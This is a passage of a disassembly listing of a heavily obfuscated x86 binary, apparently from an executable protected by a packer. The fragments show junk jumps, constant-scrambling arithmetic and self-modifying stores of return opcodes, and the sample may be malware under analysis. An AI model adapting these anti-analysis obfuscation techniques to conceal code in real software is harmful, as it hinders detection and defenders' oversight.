		cmp	[ebp+var_C], 0
		jz	loc_44BE04
		jmp	loc_448AD3
; END OF FUNCTION CHUNK	FOR sub_4432C4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443ECE

loc_456B72:				; CODE XREF: sub_443ECE-95C0j
		mov	[edi], ebx
		xor	eax, edx

loc_456B76:				; CODE XREF: sub_443ECE:loc_45217Ej
		mov	eax, 0A2CD59D9h
		push	offset sub_43F2CB
		jmp	loc_454BB4
; END OF FUNCTION CHUNK	FOR sub_443ECE
; ---------------------------------------------------------------------------
		mov	[edx], eax
		jmp	sub_44EAC4
; ---------------------------------------------------------------------------

loc_456B8C:				; CODE XREF: dviuq5id:004510DCj
		jb	loc_45246A
; START	OF FUNCTION CHUNK FOR sub_454117

loc_456B92:				; CODE XREF: sub_454117:loc_4510C9j
		rol	eax, 8
		and	eax, 32811C24h
		add	eax, 0D484BB81h
		call	sub_44EF23
; END OF FUNCTION CHUNK	FOR sub_454117
; START	OF FUNCTION CHUNK FOR sub_43B297

loc_456BA6:				; CODE XREF: sub_43B297+Dj
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_43B297
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458D70

loc_456BAB:				; CODE XREF: sub_458D70-18FC1j
					; dviuq5id:0044AE85j
		jb	loc_44010C
		mov	edi, [ebx]
		jmp	loc_45070A
; END OF FUNCTION CHUNK	FOR sub_458D70
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_315. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45609C

loc_456BB9:				; CODE XREF: sub_45609C+436j
		jmp	loc_43EC3E
; END OF FUNCTION CHUNK	FOR sub_45609C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AE92

loc_456BBE:				; CODE XREF: sub_43AE92+13j
		jmp	loc_44EB55
; END OF FUNCTION CHUNK	FOR sub_43AE92
; ---------------------------------------------------------------------------

loc_456BC3:				; CODE XREF: dviuq5id:00451841j
		push	4423DAB5h
		pop	edi
		xor	edi, 0AD239FF3h

loc_456BCF:				; CODE XREF: dviuq5id:loc_43B51Bj
		add	edi, 17453F57h
		xchg	edi, [esp]
		jmp	loc_457FE3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A5A8

loc_456BDD:				; CODE XREF: sub_44A5A8:loc_4428ACj
		or	ebx, 0B01480D5h
		jmp	loc_43CB62
; END OF FUNCTION CHUNK	FOR sub_44A5A8
; ---------------------------------------------------------------------------
		add	ebp, 0FB627B62h
		jmp	sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440828

loc_456BF3:				; CODE XREF: sub_440828:loc_44D4E7j
		pop	edi
		add	edi, 66EF4BA8h
		rol	edi, 5
		and	edi, ds:4000F3h
		sub	edi, 0C2B28C46h
		test	edi, 8000h
		jmp	loc_450224
; END OF FUNCTION CHUNK	FOR sub_440828
; ---------------------------------------------------------------------------

loc_456C14:				; CODE XREF: dviuq5id:0044FB95j
		or	esi, 7DADA2F7h
		jmp	loc_44B134
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_456C1F:				; CODE XREF: sub_450519:loc_448969j
		mov	edx, edi
		sub	edi, 51F0B1ADh
		jmp	loc_44E84A
; END OF FUNCTION CHUNK	FOR sub_450519
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441F10

loc_456C2C:				; CODE XREF: sub_441F10-3C2Cj
					; sub_441F10:loc_442BE4j
		push	eax
		push	offset loc_45515C
		jmp	loc_4534E4
; END OF FUNCTION CHUNK	FOR sub_441F10

; =============== S U B	R O U T	I N E =======================================



sub_456C37	proc near		; CODE XREF: sub_447C32:loc_448030p
					; dviuq5id:00459168j
		xchg	edx, [esp+0]
		pop	edx
		add	eax, 0D0ABC8ABh
		call	sub_453642
		mov	ds:off_41D05C, eax

loc_456C4C:				; CODE XREF: sub_453BE2:loc_4558EEj
		lea	eax, loc_458B13
		mov	byte ptr [eax],	0C3h
		jmp	loc_458B13
sub_456C37	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_456C5A:				; CODE XREF: sub_452A73:loc_4491AEj
					; sub_4489BA:loc_4500B1j
		push	ecx
		push	0CE14A3D5h
		pop	ecx
		and	ecx, 339B4B2h
		xor	ecx, 0B75FD307h
		add	ecx, 34B036A4h
		add	ecx, ebp
		add	ecx, 160055D5h
		jmp	loc_4597D3
; END OF FUNCTION CHUNK	FOR sub_452A73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458712

loc_456C80:				; CODE XREF: sub_458712-4CE9j
		push	offset loc_43B399
		jmp	nullsub_328
; END OF FUNCTION CHUNK	FOR sub_458712
; ---------------------------------------------------------------------------

loc_456C8A:				; CODE XREF: dviuq5id:00439F7Dj
		pushf

; =============== S U B	R O U T	I N E =======================================



sub_456C8B	proc near		; CODE XREF: sub_43E421-157Fp

; FUNCTION CHUNK AT 004390D7 SIZE 00000005 BYTES

		xchg	eax, [esp+0]

loc_456C8E:				; CODE XREF: sub_4399BB+13DA1j
		pop	eax
		mov	byte ptr [eax],	0C3h
		jmp	loc_4390D7
sub_456C8B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450686

loc_456C97:				; CODE XREF: sub_450686+1j
		mov	eax, [esp+0]
		jmp	loc_439918
; END OF FUNCTION CHUNK	FOR sub_450686
; ---------------------------------------------------------------------------

loc_456C9F:				; CODE XREF: dviuq5id:loc_439B88j
		mov	ebx, ebp
		pop	ebp
		xor	ebx, 15D71028h
		sub	ebx, 0B7A61594h
		jmp	loc_43F2AF
; ---------------------------------------------------------------------------

locret_456CB3:				; CODE XREF: dviuq5id:0044D456j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459194

loc_456CB4:				; CODE XREF: sub_459194-E096j
		jmp	loc_44EDA2
; END OF FUNCTION CHUNK	FOR sub_459194
; ---------------------------------------------------------------------------

loc_456CB9:				; CODE XREF: dviuq5id:0043F27Aj
		jz	loc_43D319
		popf
		sbb	ebp, 4D5A84B6h
; START	OF FUNCTION CHUNK FOR sub_454677

loc_456CC6:				; CODE XREF: sub_454677-FA5Cj
		sub	edi, 0A285D747h
		add	edi, 921913A3h
		xchg	edi, [esp+0]
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_454677
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EA36

loc_456CDA:				; CODE XREF: sub_43EA36+7j
		pop	ebx
		pop	edx
		xchg	esi, [esp-10h+arg_C]
		mov	ecx, esi
		pop	esi
		call	sub_452BBF

loc_456CE7:				; CODE XREF: sub_44FE77-C9Ej
		jmp	sub_4463B7
; END OF FUNCTION CHUNK	FOR sub_43EA36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458BA4

loc_456CEC:				; CODE XREF: sub_458BA4-14913j
		jmp	sub_453C98
; END OF FUNCTION CHUNK	FOR sub_458BA4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D45B

loc_456CF1:				; CODE XREF: sub_44D45B-12AC4j
		jmp	loc_44A50C
; END OF FUNCTION CHUNK	FOR sub_44D45B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AAE9

loc_456CF6:				; CODE XREF: sub_44AAE9:loc_44E29Fj
		jz	loc_451BA5
		jmp	loc_44BA82
; END OF FUNCTION CHUNK	FOR sub_44AAE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_456D01:				; CODE XREF: sub_446181+292Fj
		ror	edi, 1Bh

loc_456D04:				; CODE XREF: sub_446181:loc_43A4FFj
		call	sub_44A015

loc_456D09:				; CODE XREF: dviuq5id:00458CF5j
		jmp	nullsub_256
; END OF FUNCTION CHUNK	FOR sub_446181
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E57

loc_456D0F:				; CODE XREF: sub_450E57+62E0j
		jmp	loc_446D68
; END OF FUNCTION CHUNK	FOR sub_450E57
; ---------------------------------------------------------------------------
		push	eax
		call	dword ptr [ebp-4]
		call	sub_451E18
; START	OF FUNCTION CHUNK FOR sub_44E491

loc_456D1D:				; CODE XREF: sub_44E491+10ECj
		jmp	loc_43DF84
; END OF FUNCTION CHUNK	FOR sub_44E491
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_458F2A

loc_456D22:				; CODE XREF: sub_458F2A-A100j
		jmp	loc_442DC1
; END OF FUNCTION CHUNK	FOR sub_458F2A

; =============== S U B	R O U T	I N E =======================================



sub_456D27	proc near		; DATA XREF: dviuq5id:00440C28o
		mov	ds:dword_457D44, eax
		retn
sub_456D27	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_456D2E:				; CODE XREF: sub_454094-1033Ej
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_456D33:				; CODE XREF: sub_440898+27B3j
		jmp	loc_43A36E
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444ADC

loc_456D38:				; CODE XREF: sub_444ADC+C567j
		rol	eax, 16h
		push	ecx
		mov	ecx, eax
		xchg	ecx, [esp-8+arg_0]
		retn
; END OF FUNCTION CHUNK	FOR sub_444ADC
; ---------------------------------------------------------------------------
		xchg	ecx, ebx
		mov	ecx, 0E51CB000h
		jmp	sub_44C8C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44118B

loc_456D4E:				; CODE XREF: sub_44118B+Ej
		ror	eax, 1Eh
		sub	eax, 0B9AE18D3h
		mov	edx, [esp-4+arg_0]
		push	ecx
		mov	ecx, eax
		jmp	loc_443719
; END OF FUNCTION CHUNK	FOR sub_44118B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_507. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_456D63:				; CODE XREF: sub_43FA59+1A2BEj
		jmp	loc_4390D1
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D45B

loc_456D68:				; CODE XREF: sub_44D45B+Bj
		jmp	loc_4411E4
; END OF FUNCTION CHUNK	FOR sub_44D45B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_456D6D:				; CODE XREF: sub_43938B:loc_4575BCj
		jnz	loc_44352D
		jmp	loc_44D10A
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446181

loc_456D78:				; CODE XREF: sub_446181:loc_43C0D0j
					; sub_446181+3AF0j
		push	484849F0h
		pop	eax
		or	eax, 95D0BA6h
		sub	eax, 5B8565CAh
		test	eax, 2
		jmp	loc_443C29
; END OF FUNCTION CHUNK	FOR sub_446181
; ---------------------------------------------------------------------------
		jnp	loc_44CA8A
		jmp	loc_447A5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A1FB

loc_456DA0:				; CODE XREF: sub_45A1FB+Aj
		mov	eax, [ebp-8]
		shl	eax, 0Ah
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		shr	eax, 6
		jmp	loc_456F2D
; END OF FUNCTION CHUNK	FOR sub_45A1FB

; =============== S U B	R O U T	I N E =======================================



sub_456DB4	proc near		; CODE XREF: sub_45169D:loc_439020j
					; sub_446004-1283p ...

; FUNCTION CHUNK AT 0043B5D7 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E9FC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044F7E7 SIZE 0000000F BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	eax, 22D63841h
		popf
		push	ecx
		mov	ecx, eax
		jmp	loc_43B5D7
sub_456DB4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454267

loc_456DC7:				; CODE XREF: sub_454267+29j
		pop	edx
		and	edx, 583C9ADDh
		add	edx, 0D76A6D8Ah
		push	edi
		pushf
		jmp	loc_44CC4D
; END OF FUNCTION CHUNK	FOR sub_454267
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45352C

loc_456DDB:				; CODE XREF: sub_45352C+3j
		call	sub_451EC6

loc_456DE0:				; CODE XREF: sub_43B7FB+6j
		jmp	nullsub_257
; END OF FUNCTION CHUNK	FOR sub_45352C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BE30

loc_456DE5:				; CODE XREF: sub_43BE30+4j
					; sub_442AA1+7j ...
		mov	eax, [ebp-20h]
		movzx	eax, byte ptr [eax]
		mov	[ebp-1Ch], eax
		jnb	loc_4587C8
		inc	dword ptr [ebp-20h]
		push	offset loc_440F05
		jmp	nullsub_258
; END OF FUNCTION CHUNK	FOR sub_43BE30
; ---------------------------------------------------------------------------
		shl	edi, 9
		jmp	sub_43D83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_456E09:				; CODE XREF: sub_43FA59:loc_441EA6j
		jnz	loc_447DC5
		jmp	loc_458518
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
		test	esi, edi
		jmp	loc_43CBCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_456E1B:				; CODE XREF: sub_439013+15E8Aj
		or	ecx, ds:4000FBh

loc_456E21:				; CODE XREF: sub_456734:loc_444BA7j
		rol	ecx, 3
		and	ecx, 2607E250h
		rol	ecx, 14h
		jnb	loc_4591B7

loc_456E33:				; CODE XREF: sub_445498:loc_44F473j
		jmp	loc_44878F
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------

loc_456E38:				; CODE XREF: dviuq5id:0044E80Bj
		xchg	edx, [esp]
		jmp	loc_442BCD
; ---------------------------------------------------------------------------

loc_456E40:				; CODE XREF: dviuq5id:00442A43j
		add	edx, 0A760B1A7h
		rol	edx, 0Ah
		add	edx, 0E18F8576h
		rol	edx, 0Ah
		jmp	loc_45A50A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_456E57:				; CODE XREF: sub_448154:loc_439139j
		and	eax, 2777E25h
		rol	eax, 0Eh
		add	eax, 63C388D7h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_4390AA
		jmp	loc_4563F6
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489F3

loc_456E75:				; CODE XREF: sub_4489F3:loc_44788Cj
		jz	loc_45370E
		call	sub_44C8C5

locret_456E80:				; CODE XREF: sub_44A15A+2201j
		retn
; END OF FUNCTION CHUNK	FOR sub_4489F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_456E81:				; CODE XREF: sub_44A15A:loc_44A31Fj
		add	eax, 2A2964DAh
		ror	eax, 10h
		push	offset loc_4449A0
		jmp	nullsub_259
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------
		cdq
		jmp	loc_44CCA0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_456751

loc_456E9A:				; CODE XREF: sub_456751+2F2Dj
		add	esi, 9E0AEC8h
		xchg	esi, [esp+4+var_4]
		jmp	sub_453749
; END OF FUNCTION CHUNK	FOR sub_456751
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449222

loc_456EA8:				; CODE XREF: sub_449222:loc_43F48Fj
		xchg	edi, [esp+0]
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_449222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452A73

loc_456EB0:				; CODE XREF: sub_452A73:loc_458D6Bj
		push	offset loc_43E930
		jmp	loc_455513
; END OF FUNCTION CHUNK	FOR sub_452A73
; ---------------------------------------------------------------------------

loc_456EBA:				; CODE XREF: dviuq5id:0045996Bj
		and	ecx, 0F57FF22Ah
		sub	ecx, 63A3E198h
		add	ecx, 33A991BAh
		mov	[ecx], eax
		pop	ecx
		lea	eax, sub_450686
		jmp	loc_44BCF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44846C

loc_456EDA:				; CODE XREF: sub_44846C+4BFBj
		push	edi
		call	sub_44E109

loc_456EE0:				; CODE XREF: dviuq5id:00453185j
		jmp	loc_43F7B8
; END OF FUNCTION CHUNK	FOR sub_44846C

; =============== S U B	R O U T	I N E =======================================



sub_456EE5	proc near		; CODE XREF: sub_44F23F-11283p
					; dviuq5id:00455C5Cj

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 0043A671 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043ED95 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00451BD9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004523A1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00452942 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 00457A12 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		or	eax, eax
		jnz	loc_451BD9
		jmp	loc_4523A1
sub_456EE5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4483A4

loc_456EF6:				; CODE XREF: sub_4483A4:loc_454924j
		xchg	esi, [esp+4+var_4]
		jmp	loc_44C205
; END OF FUNCTION CHUNK	FOR sub_4483A4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_471. PRESS KEYPAD	"+" TO EXPAND]
		db 0Fh
; ---------------------------------------------------------------------------
		test	[eax-740000A7h], bl
		add	al, 24h
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
		call	sub_444F0F
		mov	eax, 3FFC3041h
		jmp	loc_44C884

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_456F1D	proc near		; CODE XREF: sub_43BAC4+6j
					; dviuq5id:loc_454687j
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		push	offset loc_44E4EE

loc_456F28:				; CODE XREF: dviuq5id:loc_44377Bj
		jmp	nullsub_260
sub_456F1D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45A1FB

loc_456F2D:				; CODE XREF: sub_45A1FB-344Cj
		xor	[ebp-8], eax
		inc	dword ptr [ebp-0Ch]
		jmp	loc_44FAF1
; END OF FUNCTION CHUNK	FOR sub_45A1FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451F1E

loc_456F38:				; CODE XREF: sub_451F1E+Aj sub_452470j
		inc	dword ptr [ebp-8]
		inc	dword ptr [ebp-0Ch]
		jmp	loc_441E58
; END OF FUNCTION CHUNK	FOR sub_451F1E

; =============== S U B	R O U T	I N E =======================================



sub_456F43	proc near		; CODE XREF: sub_43E10E-4B98j
					; sub_445110:loc_43964Ep ...
		push	offset sub_441645
		jmp	nullsub_261
sub_456F43	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF81

loc_456F4D:				; CODE XREF: sub_43AF81:loc_4521E9j
		rol	esi, 0Ch
		add	esi, 4576074h
		xchg	esi, [esp+0]
		jmp	nullsub_468
; END OF FUNCTION CHUNK	FOR sub_43AF81
; ---------------------------------------------------------------------------

loc_456F5E:				; CODE XREF: dviuq5id:0043EF95j
		jno	loc_445050
		test	esi, eax
		jmp	loc_44B842
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_456F6B:				; CODE XREF: sub_43D83D:loc_43997Bj
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_444298
		jmp	loc_44CB4A
; END OF FUNCTION CHUNK	FOR sub_43D83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C8E3

loc_456F7A:				; CODE XREF: sub_44C8E3-11004j
		or	ebp, 0C11B0C52h

loc_456F80:				; CODE XREF: sub_44C8E3:loc_45356Aj
		call	nullsub_22
		retn
; END OF FUNCTION CHUNK	FOR sub_44C8E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454515

loc_456F86:				; CODE XREF: sub_454515-BA76j
		jmp	nullsub_262
; END OF FUNCTION CHUNK	FOR sub_454515
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_22. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4461D0

loc_456F8C:				; CODE XREF: sub_4461D0+12971j
		jmp	loc_452B00
; END OF FUNCTION CHUNK	FOR sub_4461D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_456F91:				; CODE XREF: sub_441DDA-2639j
		jmp	loc_452F4E
; END OF FUNCTION CHUNK	FOR sub_441DDA
; ---------------------------------------------------------------------------

loc_456F96:				; CODE XREF: dviuq5id:0043D701j
		jmp	loc_44CB08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445110

loc_456F9B:				; CODE XREF: sub_445110-AB70j
		jmp	loc_43C88E
; END OF FUNCTION CHUNK	FOR sub_445110
; ---------------------------------------------------------------------------

loc_456FA0:				; CODE XREF: dviuq5id:0043F0D2j
					; dviuq5id:0044F4A4j
		push	eax
		mov	eax, ebx
		xchg	eax, [esp]
		jmp	loc_44F5F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D31

loc_456FAB:				; CODE XREF: sub_451D31:loc_44D2A3j
		lea	eax, [ebp-1C8h]
		call	sub_44C8E3
; END OF FUNCTION CHUNK	FOR sub_451D31
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_456FB6:				; CODE XREF: sub_43938B+6FE8j
		jmp	loc_44270A
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------

loc_456FBB:				; CODE XREF: dviuq5id:0044B1C5j
		mov	ds:dword_41D188, eax
		lea	eax, nullsub_480
		mov	byte ptr [eax],	0C3h
		jmp	loc_45418C
; ---------------------------------------------------------------------------
		call	nullsub_483
		jmp	ds:dword_41D18C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_483. PRESS KEYPAD	"+" TO EXPAND]
		db 84h
		dd 0FFFE98DDh, 45A2AF68h, 0F866E900h
		db 0FEh, 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_456FEA	proc near		; CODE XREF: sub_446544:loc_439DCBp
					; dviuq5id:004452FBj
		xchg	eax, [esp+0]
		pop	eax
		call	sub_44E3BA
		retn
sub_456FEA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_456FF4:				; CODE XREF: dviuq5id:004400B8j
		call	sub_43938B
		test	al, al
		jz	loc_44FFC1
		jmp	loc_45157D
; ---------------------------------------------------------------------------

loc_457006:				; CODE XREF: dviuq5id:00439309j
					; dviuq5id:loc_442E95j
		add	ebx, 0B1851EBh
		sub	ebx, 0B8831AA6h
		cmp	ebx, 731CA82Ah
		jmp	loc_450D7B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_45701D:				; CODE XREF: sub_43FA59:loc_44E641j
					; sub_43FA59+125BBj
		push	0D52BC245h
		pop	eax

loc_457023:				; CODE XREF: sub_454117:loc_43F677j
		xor	eax, 7A9FA7C2h
		sub	eax, 0EF686D72h
		jmp	loc_4580A8
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_457034:				; CODE XREF: sub_43C710-11D2j
		or	edi, 0E1577D6Dh

loc_45703A:				; CODE XREF: sub_43C710:loc_43B52Cj
		and	edx, 0F24C49DAh
		rol	edx, 1Fh
		add	edx, 0A742B82Fh
		popf
		xchg	edx, [esp-4+arg_0]
		jmp	sub_453642
; END OF FUNCTION CHUNK	FOR sub_43C710

; =============== S U B	R O U T	I N E =======================================



sub_457052	proc near		; CODE XREF: dviuq5id:0043E7C2j
					; sub_43EE53+D24Ep
		xchg	esi, [esp+0]
		pop	esi
		add	eax, ebp
		push	offset loc_45920F
		jmp	nullsub_263
sub_457052	endp

; ---------------------------------------------------------------------------

loc_457062:				; CODE XREF: dviuq5id:00439A20j
		and	ebp, eax
		jmp	loc_44ACB1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_457069:				; CODE XREF: sub_43FA59+F372j
		jz	loc_45216D
		jmp	loc_43CC7E
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459825

loc_457074:				; CODE XREF: sub_459825-166DDj
		jz	loc_43EC62
		call	sub_44D49A
		jnz	loc_43EC62
		mov	eax, ebx
		jmp	loc_455832
; ---------------------------------------------------------------------------

loc_45708C:				; CODE XREF: sub_459825:loc_44312Dj
		mov	ecx, [ebx+3Ch]
		push	offset sub_454FB6
		jmp	nullsub_264
; END OF FUNCTION CHUNK	FOR sub_459825
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_457099:				; CODE XREF: sub_43C4B5:loc_4589F7j
		jz	sub_4520DC
		jmp	loc_454384
; END OF FUNCTION CHUNK	FOR sub_43C4B5

; =============== S U B	R O U T	I N E =======================================



sub_4570A4	proc near		; CODE XREF: dviuq5id:0043A369j
					; sub_45A232+7p
		xchg	ebx, [esp+0]
		pop	ebx
		mov	esp, ebp
		pop	ebp
		jmp	loc_44FD52
sub_4570A4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_4570B0:				; CODE XREF: sub_439C09+62E3j
		or	ecx, 58A6A0B7h
		xor	ecx, 0C02BD010h
		add	ecx, 427E3069h
		mov	[ecx], eax
		xchg	ebp, [esp-4+arg_0]
		mov	ecx, ebp
		pop	ebp
		jmp	loc_44654D
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4463B7

loc_4570D0:				; CODE XREF: sub_4463B7-A5DDj
		jmp	loc_441A28
; END OF FUNCTION CHUNK	FOR sub_4463B7
; ---------------------------------------------------------------------------

loc_4570D5:				; CODE XREF: dviuq5id:loc_4429B0j
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF7ECh
		push	3B37A93Eh
		pop	eax
		jmp	loc_4444BC
; ---------------------------------------------------------------------------

loc_4570E9:				; CODE XREF: dviuq5id:loc_43E2A7j
					; dviuq5id:0043E2BBj
		rol	edi, 15h
		xor	edi, 1C7062F6h
		cmp	edi, 51D1A519h
		jmp	loc_43AF12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_4570FD:				; CODE XREF: sub_43EB11:loc_444128j
		jz	loc_451BA5
		jmp	loc_454E95
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448D5E

loc_457108:				; CODE XREF: sub_448D5E+5D9Dj
		rol	eax, 14h
		or	eax, 82045E52h
		add	eax, 5A1E611Bh
		popf
		xchg	eax, [esp+8+var_8]
		jmp	loc_43F58F
; END OF FUNCTION CHUNK	FOR sub_448D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452189

loc_457120:				; CODE XREF: sub_452189:loc_43E062j
		add	edi, 0F4062D75h
		mov	edi, [edi]
		xchg	edi, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_452189
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_45712C:				; CODE XREF: sub_439C09+20A4Bj
		jmp	loc_43E479
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450E57

loc_457131:				; CODE XREF: sub_450E57-16581j
		jnz	loc_459380
		jmp	loc_456D0F
; END OF FUNCTION CHUNK	FOR sub_450E57
; ---------------------------------------------------------------------------
		shl	ecx, 6
		jmp	loc_448EBF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44646F

loc_457144:				; CODE XREF: sub_44646F:loc_439271j
					; sub_44646F-BBC8j
		call	sub_45714A
		retn
; END OF FUNCTION CHUNK	FOR sub_44646F

; =============== S U B	R O U T	I N E =======================================



sub_45714A	proc near		; CODE XREF: sub_4574E7:loc_446DE2p
					; sub_44646F:loc_457144p

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 004445F0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004445FF SIZE 0000000A BYTES

		jb	loc_4445FF
		call	sub_4585FC
		push	ecx
		mov	ecx, [esp+4+arg_8]
		mov	dword ptr [ecx], 10001h
		lea	eax, loc_4585EC
		jmp	loc_4445F0
sub_45714A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4427AE

loc_45716B:				; CODE XREF: sub_4427AE-16DEj
		pop	esi
		push	edi
		pushf
